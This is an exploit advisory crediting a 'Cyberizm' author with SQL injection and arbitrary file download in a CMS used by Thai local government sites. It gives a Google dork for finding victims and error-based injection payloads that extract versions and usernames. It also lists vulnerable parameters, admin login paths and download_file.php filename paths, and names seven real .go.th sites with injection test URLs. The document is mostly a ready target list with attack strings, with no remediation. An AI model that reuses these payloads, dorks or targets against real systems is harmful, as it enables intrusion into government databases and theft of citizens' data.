###################################################################
# Exploit Title : Thailand Government CityVariety Corporation Error Based SQL Injection - Arbitrary File Download
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 21/04/2019
# Vendor Homepage : cityvariety.co.th
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : intext:Powered By CityVariety Corporation site:go.th
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-200 [ Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
###################################################################
# Impact :
***********
* Thailand Government CityVariety Corporation is prone to an SQL-injection vulnerability because
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or
modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.
* On the other hand, Thailand Government CityVariety Corporation is prone to a vulnerability
that lets attackers download arbitrary files because the application fails to
sufficiently sanitize user-supplied input.
An attacker can exploit this issue to download arbitrary files within the context
of the webserver process. Information obtained may aid in further attacks.
Error Based SQL Injection Vulnerability :
*************************************
Error based injections are exploited through triggering errors in the database when invalid
inputs are passed to it. The error messages can be used to return the full query results, or
gain information on how to restructure the query for further exploitation.
Description Query
XML Parse Error => SELECT extractvalue(rand(),concat(0x3a,(select version())))
Double Query => SELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat
(0x3a,(SELECT username FROM USERS LIMIT 0,1),FLOOR(rand(0)*2))x FROM
information_schema.TABLES GROUP BY x)a)
Increment Limit 0,1 to Limit 1,1 to begin cycling through data
Get Current Database => SELECT a()
###################################################################
# Admin Panel Login Path :
*************************
/admin/
/admin/authentication
/order/login_page
# SQL Injection Exploit :
**********************
/index.php?options=photo&mode=detail&id=[SQL Injection]
/index.php?options=activity&mode=detail&id=[SQL Injection]
/index.php?options=otop&mode=detail&id=[SQL Injection]
/index.php?options=doc_download&mode=&id=&page=[SQL Injection]
/index.php?options=activity&mode=detail&id=[ID-NUMBER]&divname=[SQL Injection]
/intro/main/main/content/images/personnel/main/main/index.php?options=news&mode=hot&id=[SQL Injection]
# Arbitrary File Download Exploit :
*******************************
Vulnerable File : download_file.php
Vulnerable Parameter : ?filename=
/files/com_content/[FILENAME].rar
/files/news_money/download_file.php?filename=[FILENAME]
/files/citizen_guide/download_file.php?filename=[FILENAME]
/files/news_council/download_file.php?filename=[FILENAME]
/files/develop_plan/download_file.php?filename=[FILENAME]
/files/laws/download_file.php?filename=[FILENAME]
###################################################################
# Example Vulnerable Sites :
*************************
[+] huayduan.go.th/index.php?options=photo&mode=detail&id=547%27
[+] khontee.go.th/index.php?options=photo&mode=detail&id=849%27
[+] nakhonchum.go.th/index.php?options=photo&mode=detail&id=3362%27
[+] ranot-sk.go.th/index.php?options=activity&mode=detail&id=384%27
[+] bangklam-sk.go.th/index.php?options=doc_download&mode=&id=&page=2%27
[+] sabayoi-sk.go.th/index.php?options=activity&mode=detail&id=254&divname=1%27
[+] nikomkraseaw.go.th/intro/main/main/content/images/personnel/main/main/index.php?options=news&mode=hot&id=1%27
###################################################################
# Example SQL Database Error :
****************************
Can't execute query
select gallery_id,
gallery_topic,
gallery_hit,
gallery_date
from gallery_topic
WHERE gallery_id <>
AND local_id = '11'
order by gallery_id DESC
LIMIT 5
MySQL Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near 'AND local_id = '11' order by gallery_id DESC LIMIT ' at line 8
This script cannot continue, terminating.
Can't execute query
SELECT * FROM download WHERE status ='1'
AND amp_id =10 ORDER BY id DESC
MySQL Error: Unknown column 'status' in 'where clause'
This script cannot continue, terminating.
###################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
###################################################################